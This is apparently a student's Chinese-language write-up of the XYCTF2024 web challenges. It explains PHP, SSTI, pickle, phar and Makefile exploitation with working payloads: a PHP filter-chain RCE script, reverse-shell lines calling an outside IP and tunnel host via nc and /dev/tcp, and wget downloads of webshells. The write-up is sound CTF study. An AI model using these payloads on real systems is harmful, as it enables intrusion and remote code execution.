XYCTF2024

前言

多做点题。总觉得自己做题做不出来,还是要多写一点。

ezhttp

知识点:http、robots.txt

源代码里提示密码放在了某个地方,直觉是robots.txt。然后可以进/l0g1n.txt看到账号和密码

image-20250729132957432

然后是http的内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
记录一下本地访问
Client-IP: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
Forwarded-For: localhost
X-Forwarded-For-Original:127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Host:127.0.0.1

image-20250729134355455

ezmd5

知识点:md5碰撞

碰撞两张图片

本来应该用工具碰撞一下的,结果直接搜到了两张图片的md5值相同

原文链接:制造 MD5 碰撞

image-20250729135646855

真要碰撞的话用MD5COLLGEN碰撞图片就行

Warm up

知识点:md5绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
    echo "ez" . "<br>";
} else {
    die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
    echo "ezez" . "<br>";
} else {
    die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
    if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
        echo $level2;
    } else {
        die("什么情况,这么基础的md5做不来");
    }
} else {
    die("学这么久,传参不会传?");
}

前面newstar做了差不多的题目,唯一需要注意的是extract($_GET);,它可以覆盖变量绕过$XY == $XYCTF

payload

1
?val1[]=1&val2[]=2&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017

image-20250729141514677

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
    echo "操作你O.o";
    echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);  // 我可不会像别人一样设置10来个level
} else {
    die("有点汗流浃背");
}

第一层用数组绕过

第二层解释一下preg_replace 函数

它有一个非常危险的修饰符:/e。当使用这个修饰符时,它会将替换字符串(第二个参数)当作PHP代码来执行。

第一个参数/.*/e可以匹配任意字符串

第二个参数是命令

第三个参数随便填,因为上面的模式是/.*/,可以匹配任意字符串

image-20250729142935979

ezClass

知识点:php原生类Error:geMessage()、Spl原生类+伪协议利用

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());

主要是考了一个Error原生类的getMessage可以构造任意字符串

1
2
3
?a=Error&aa=system&b=Error&bb=cat /f*&c=getMessage

//((new Error("system")) -> getMessage())((new Error("ls")) -> getMessage())

通过ErrorgetMessage返回systemls,组合成("system")("ls")

在PHP中,("system")("ls") 是一个完全合法的表达式,它等同于:system("ls");

image-20250729152837537

另一种解法

1
?a=SplFileObject&aa=data://text/plain,system&c=__toString&b=SplFileObject&bb=data://text/plain,ls

通过tostring返回system和ls,和上面差不多。

ezRce

知识点:无字母rce(八进制+$0«<)

无字母rce,只有数字和几个符号,可以通过八进制构造命令

image-20250729162833971

$0可以代表当前执行的脚本或Shell本身的名字

<<<:能将紧跟在后面的字符串作为标准输入(stdin)传递给前面的命令

$0 <<< '...' 的意思就是:启动一个新的Bash Shell,然后把 '...' 里的字符串内容喂给这个新的Shell去执行。

把八进制命令放进去就行

1
2
3
4
?cmd=$0<<<$%27\143\141\164\040\057\146\154\141\147%27

那其实直接八进制cat</flag也行
?cmd=$'\143\141\164'<$'\57\146\154\141\147'

image-20250729162550165

ezLFI

知识点:利用filter过滤器的编码组合构造RCE

进页面什么都没有,提示LFI,就是文件包含,试试file参数

image-20250730193626370

ok开包

包啥呀,啥都没有,不知到过滤了啥。直接翻wp了

贴一个exp,然后解释一下exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests

url = "http://localhost/index.php"
file_to_use = "/etc/passwd"
command = "/readflag"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)

首先是后门文件<?=$_GET[0];;?>base64后得到的是PD89YCRfR0VUWzBdYDs7Pz4=

在PHP Fliter中存在一种convert.iconv的过滤器,他可以用于转化字符集,然后我们发现

1
2
3
convert.iconv.UTF8.CSISO2022KR将始终在字符串前面附加"\x1b$)C"

convert.base64-decode基本上会忽略任何非有效 base64 的字符。

添加字符串前置\x1b$)C后,应用一些 iconv 转换链,使我们的初始 base64 保持不变 并将我们刚刚添加的部分转换为某些字符串,其中唯一有效的 base64 char 是我们 base64 编码的 PHP 代码的一部分

再通过base64-decode 和 base64-encode 删除中间的垃圾字符,从而构造出代码

老外写的,有一些不明不白的地方,看了很多文章都没有解惑,这里先放放。

ezPop

知识点:GC垃圾回收、call_user_func($a,$b)($c)($d)

image-20250802211802489

链子很简单,就不多说了,主要是对call_user_func($a,$b)($c)($d)的理解

这行代码简单来说就是

1
2
3
$f1 = call_user_func($a, $b); // $f1 必须是 callable
$f2 = $f1($c);                // $f2 必须是 callable
$result = $f2($d);            // $result 就是最终结果

所以我们需要找到符合这种情况并且可以rce的函数

在寻找之前,我们要先了解一下__get()函数的逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 public function __get($name)
    {
        echo "you get 2 B <br>";
        $a=$_POST['a'];
        $b=$_POST; // 1. 将整个 $_POST 数组复制给变量 $b
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) { // 2. 检查 $b 数组中是否存在键 'a'
            unset($b['a']); // 3. 如果存在,就从 $b 数组中移除键 'a' 及其对应的值
        }
        call_user_func($a,$b)($c)($d);
    }

综合一下有以下几种方案:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
c="system";
d="tac /f*";
a=current&b=sprintf


/*
题目里unset了一下$_POST['a'],其实就是把数组元素清了一个,有关数组的操作很容易可以想到current,也可以用array_pop(array)这个是删除数组元素并返回,原理是一样的

call_user_func('current','$_POST')返回值完全可控,可以令其为sprintf

其返回一个字符串,返回值就是传入的参数
*/
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
c=array('system');
d="tac /f*";
a=current&b=current
or
a=array_pop&b=array_pop

/*
array_pop(array)是删除数组元素并返回
array_pop(array("array_pop"))(array("system"))("cat /flag")
array_pop(array("system"))("cat /flag")
system("cat /flag")
*/

下面是官方wp

1
2
3
4
5
6
call_user_func(Closure::fromCallable[Closure,fromCallable])('system')('whoami')
    
/*
 Closure::fromCallable  使用当前范围从给定的  callback  创建并返回一个新的匿名函数。此方法检查  callback  函数在作用域是否可调用,如果不能,就抛出TypeError。
*/
 

ezSerialize

知识点:反序列化知识点杂糅

image-20250830191416358

绕过$this->token === $this->password,利用引用传递让二者相等

1
$a->password = &$a->token;

后续让token等于md5加密随机数,password也会直接等于token

image-20250830192824320

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
fpclosefpclosefpcloseffflllaaaggg.php

<?php
highlight_file(__FILE__);
class A {
    public $mack;
    public function __invoke()
    {
        $this->mack->nonExistentMethod();
    }
}

class B {
    public $luo;
    public function __get($key){
        echo "o.O<br>";
        $function = $this->luo;
        return $function();
    }
}

class C {
    public $wang1;

    public function __call($wang1,$wang2)
    {
            include 'flag.php';
            echo $flag2;
    }
}


class D {
    public $lao;
    public $chen;
    public function __toString(){
        echo "O.o<br>";
        return is_null($this->lao->chen) ? "" : $this->lao->chen;
    }
}

class E {
    public $name = "xxxxx";
    public $num;

    public function __unserialize($data)
    {
        echo "<br>学到就是赚到!<br>";
        echo $data['num'];
    }
    public function __wakeup(){
        if($this->name!='' || $this->num!=''){
            echo "旅行者别忘记旅行的意义!<br>";
        }
    }
}

if (isset($_POST['pop'])) {
    unserialize($_POST['pop']);
} 

很基础的链子,值得一提的是有wakeup的话会优先调用这个函数,而不是unserialize

1
2
3
4
5
6
//记得把name的值调为空
$a = new E();
$a -> num = new D();
$a -> num -> lao = new B();
$a -> num -> lao -> luo = new A();
$a -> num -> lao -> luo -> mack = new C();

image-20250830194656372

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php

error_reporting(0);
highlight_file(__FILE__);

// flag.php
class XYCTFNO1
{
    public $Liu;
    public $T1ng;
    private $upsw1ng;

    public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
    {
        $this->Liu = $Liu;
        $this->T1ng = $T1ng;
        $this->upsw1ng = $upsw1ng;
    }
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;

    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
    }

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";

    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }

    public function XY()
    {
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!\n";
            echo new $_POST['X']($_POST['Y']);
        }
    }

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}

最后一层, echo new $_POST['X']($_POST['Y']);明显是利用原生类的,然后是链子的构造

if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258')这一层条件需要让adwa同时拥有两个不同类的属性,其实自己改一下就行,需要对序列化,反序列化更了解一点。

还有一些小绕过,读文件是用SplFileObject + php伪协议,具体exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php


// flag.php
class XYCTFNO1
{
    public $crypto0 = "dev1l";
    public $T1ng = "yuroandCMD258";

}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;

}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "oSthing";

}

$a = new XYCTFNO3();
$a -> KickyMu = new XYCTFNO2();
$a -> KickyMu -> adwa = new XYCTFNO1();

echo serialize($a);

//O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";N;s:4:"adwa";O:8:"XYCTFNO1":2:{s:7:"crypto0";s:5:"dev1l";s:4:"T1ng";s:13:"yuroandCMD258";}}s:7:"fpclose";N;s:5:"N1ght";s:7:"oSthing";}

image-20250830200954722

牢牢记住,逝者为大

知识点:wage远程下载木马、nc反弹shell

image-20250905172439469

限长,考虑用

1
`$_GET[1]`

然后eval的内容被注释了(单行注释)我们需要用换行符%0a绕过

此外我们还需要添加一个#(%23)用于注释掉后面的内容,再加一个;,算上前面限长要利用的,一共十三个字符不多不少。

构造出

1
%0a`$_GET[b]`;%23

本来到这里就已经成功了,但是还有一个waf在

1
2
3
4
foreach ($_GET as $val_name => $val_val) {
        if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
            return "what can i say";
        }

foreach (... as $val_name => $val_val):这是一个循环语句,用于遍历 $_GET 数组中的每一个元素。

也就是说,我们用get传的1也会被这层waf拦下。(改用POST会超字数)

然后就是如何绕过这层waf

因为get有许多限制,可以直接用wget远程下载文件写马或者nc 反弹shell

1
2
3
?cmd=%0a`$_GET[1]`;%23&1=nc 148.135.82.190 8888 -e /bi''n/sh

?b=wget -O ./she.php ip:port/she&cmd=%0a`$_GET[b]`;%23

解释一下wget

image-20250905182415781

这里本来用内网穿透直接连上虚拟机的,但是内网穿透的域名里有被ban的字母,用云服务器又遇到了很多问题,这里先搁置一下。

搞了很久,最后解决了,有几个要点。

首先,你的云服务器的安全组需要添加规则,打开一些端口,我打开的是9999

然后需要起一个http服务,不然wget连不上。

这里可以用python启

1
python3 -m http.server 9999

然后启的服务器默认是在root目录下的,所以马要下在root目录下

最后就是读取了

image-20250905222055780

另外,这道题目还可以用cp /flag em加八进制绕过

1
?cmd=%0d`$_GET[c]`;%23&c=$'\143\160'+$'\57\146\154\141\147'+$'\145\155'

连连看到底是连连什么看

知识点:php_filter_chain、string.strip_tags过滤php

一开始是个连连看,然后源代码发现文件包含,随便包一个,发现提示去what's_this.php

image-20250905223449785

和ezLFI挺像的,是php_fileter_chain,

用脚本Issues · synacktiv/php_filter_chain_generator

生成一个"XYCTF<?php",这样就可以把payload的值改为XYCTF(直接写XYCTF的话会有脏数据)

image-20250906152455350

1
convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode

但是php是需要过滤的(指的是我们生成的"XYCTF<?php"),我们手动加string.strip_tags过滤器来去除php标签

最终paylod

1
convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags

image-20250906153525603

我是一个复读机

知识点:脑洞ssti、request+attr绕过

爆破,密码是asdqwe

复读机一般都是ssti,然后ban了{{}}、{%%}

这里是可以用emoji表情代替{{}},这倒是可以防止fenjing一把锁了

然后就是普通的ssti,这里用request+ attr绕过

1
?sentence=😡lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()😡&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read

login

知识点:pickle反序列化o指令码绕过

登录后,抓包提交发现有waf

image-20250907114139873

注意到有类似base64码的东西,解码出来乱七八糟,还有app啥的,感觉是pickle反序列化,然后这里又有waf,那就试试用o指令集绕过吧

image-20250907114311560

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import base64
 
shell = b'''bash -c "bash -i >& /dev/tcp/6.tcp.cpolar.top/12932 0<&1"'''  # 反弹shell语句
 
shell = b'''bash -c "bash -i >& /dev/tcp/6.tcp.cpolar.top/12932 0<&1"''' 
payload = b'''(ctimeit
timeit
(cos
system
V''' + shell + b'''
oo.'''
 
print(base64.b64encode(payload).decode())

尴尬的是,因为ban了r指令,内网穿透的域名就有r,所有还是得用vps弹

image-20250907155552713

give me flag

知识点:哈希长度拓展攻击

image-20250907155840636

之前在basectf中遇到过这种哈希长度拓展攻击,好像还稍微解释了一下。

这里贴一个文章好了,就不深究了

浅谈HASH长度拓展攻击 - Yunen的博客 - 博客园

然后本来是有长度拓展攻击的脚本,但是这里还加上了时间戳,所以就需要一个新的脚本加上时间戳来解决这道题

这里用的别的师傅的脚本,这里还需要GitHub - shellfeel/hash-ext-attack: 哈希长度扩展攻击利用脚本,免去了hashpump需要编译的烦恼common文件夹中的内容,改一下hash_ext_attack.py就行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time
from common.HashExtAttack import HashExtAttack
from loguru import logger
import sys
 
logger.remove()
logger.add(sys.stderr, level="INFO")
 
for i in range(10,50):
        value = "2"
        times = str(int(time.time()) + 4 )
        url = "http://127.0.0.1:9342/"
        crack = HashExtAttack()
        va,md5 = crack.run("","1941fdd8711dda8426747b1bb9f18bff",value + times,i)
        data = f"?value={va[:len(va) - len(times) ]}&md5={md5}"
        url = url + data
        print(url)
        now_time = int(time.time())
        flag = 0
        while(1):
                a = requests.get(url)
 
                if "XYCTF" in a.text:
                        print(a.text)
                elif flag < 5 and int(time.time()) != now_time:
                        temp = a.text
                        now_time = int(time.time())
                        # print(temp.split("?>")[1],times,now_time,i)
                        print(times,now_time,i)
                        flag += 1
                now_time = int(time.time())
                if now_time > int(times) + 1:
                        break

然后这里肯定是还要爆破的,爆破flag的长度,要一点点试。

跑半天,跑不出来,反正就这么个事,就不多说了

pharme

知识点:__halt_compiler()终止编译、eval(end(getallheaders()));绕过无参数rce、phar反序列化、php:filter绕过phar

开局一个文件上传,说是phar那肯定就是phar了,传了个图片马,没被ban,但是路径进不去。

源代码里看到class.php

image-20250907203212940

简单看一下绕过函数,首先会去除cmd中所有的字母、下划线和括号,然后再把连续分号替换成ch3nxl,然后再与ch3nxl作比较,为真就进行eval

其实就是判断你的cmd中是否只有字母、下划线和括号。

所以是无数字rce,这里可以用eval(end(getallheaders()));获取所有http头,然后返回最后一个http头给eval函数(好思路啊)

不用这个的话,无参rce之前也做过

然后难点其实在eval函数那里的绕过,因为eval中间的内容是字符串拼接的,所以我们并不能直接通过#//进行注释,需要用到__halt_compiler()来终止编译

所以构造payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
class evil{
    public $cmd="eval(end(getallheaders()));__halt_compiler();";   //写shell
}
@unlink('poc.phar');   //删除之前的test.phar文件(如果有)
$phar=new Phar('poc.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new evil();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

image-20250908142258074

也可以用python进行gzip压缩

然后改个后缀名绕过文件名的waf

然后再class.php传

1
php://filter/convert.base64-encode/resource=phar:///tmp/23f1a0f70f076b42b5b49f24ee28f696.png

最后rce

image-20250908143044664

ezMake

知识点:Makefile

这玩意还真没学过

简单看看这是个啥

Makefile 文件描述了 Linux 系统下 C/C++ 工程的编译规则,它用来自动化编译 C/C++ 项目。一旦写编写好 Makefile 文件,只需要一个 make 命令,整个工程就开始自动编译,不再需要手动执行 GCC 命令。

在Makefile中,你可以使用$(shell)函数来读取文件内容。

例:

1
2
3
content := $(shell cat file.txt)

上述命令将文件file.txt的内容存储在变量content中。你可以根据需要将其用于后续的操作。

然后题目也就是这样做

image-20250908153452694

ez?Make

知识点:反弹shell

ban了一些东西,这里可以利用nc反弹shell,又是反弹shellQAQ

这里有waf,肯定又不能用内网穿透反弹shell了(感觉研究出来都没怎么利用过)

想到这突然想到有域名肯定有ip地址,在网上找了个域名解析网站

域名反查IP工具 - 域名IP查询 - 站查查

然后真的能查到!

那么就试试看,内网穿透反弹shell,能不能成功

结果显而易见了

1
nc ip port -e sh

image-20250908155608312

εZ?¿м@Kε¿?

知识点:无字母数字makefile

前提知识点

Makefile的编写及四个特殊符号的意义@、$@、$^、$ - 春风一郎 - 博客园

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
一、@

这个符串通常用在“规则”行中,表示不显示命令本身,而只显示它的结果,例如Makefile中的内容为:

DIR_OBJ=./obj
CMD_MKOBJDIR=if [ -d ${DIR_OBJ} ]; then exit 0; else mkdir ${DIR_OBJ}; fi

mkobjdir:
@${CMD_MKOBJDIR}
命令行执行如下:
make mkobjdir
此时不会显示在命令行不会显示出if [ -d ${DIR_OBJ} ]; then exit 0; else mkdir ${DIR_OBJ}; fi,但如果规则行的TAB后没有以@开头,则会显示,不信可以试试。


 

二、$@、$^、$<

这三个分别表示:

$@          --代表目标文件(target)

$^            --代表所有的依赖文件(components)

$<           --代表第一个依赖文件(components中最左边的那个)。

$?           --代表示比目标还要新的依赖文件列表。以空格分隔。

$%           --仅当目标是函数库文件中,表示规则中的目标成员名。例如,如果一个目标是"foo.a(bar.o)",那么,"$%"就是"bar.o","$@"就是"foo.a"。如果目标不是函数库文件(Unix下是[.a],Windows下是[.lib]),那么,其值为空。

 


' - ' 符号的使用
     
     通常删除,创建文件如果碰到文件不存在或者已经创建,那么希望忽略掉这个错误,继续执行,就可以在命令前面添加 -,
     -rm dir;
     -mkdir aaadir;
 
' $ '符号的使用
          美元符号$,主要扩展打开makefile中定义的变量
 
' $$ '符号的使用
          $$ 符号主要扩展打开makefile中定义的shell变量

image-20250908182908357

解析一下,这里flag就是第一个依赖文件名

在 Makefile 规则中:你写下 $$(<$<)

Makefile 解析:

$$ -> 转义成一个 $

$< -> 替换成第一个依赖的文件名(例如 input.txt

结果:生成 Shell 命令 $(<input.txt)

image-20250908184724483

baby_unserialize

java题woc,留着吧。

看是能看一点,但是还是有些难以理解

【Web】2024XYCTF题解(全)_xyctf2024-CSDN博客

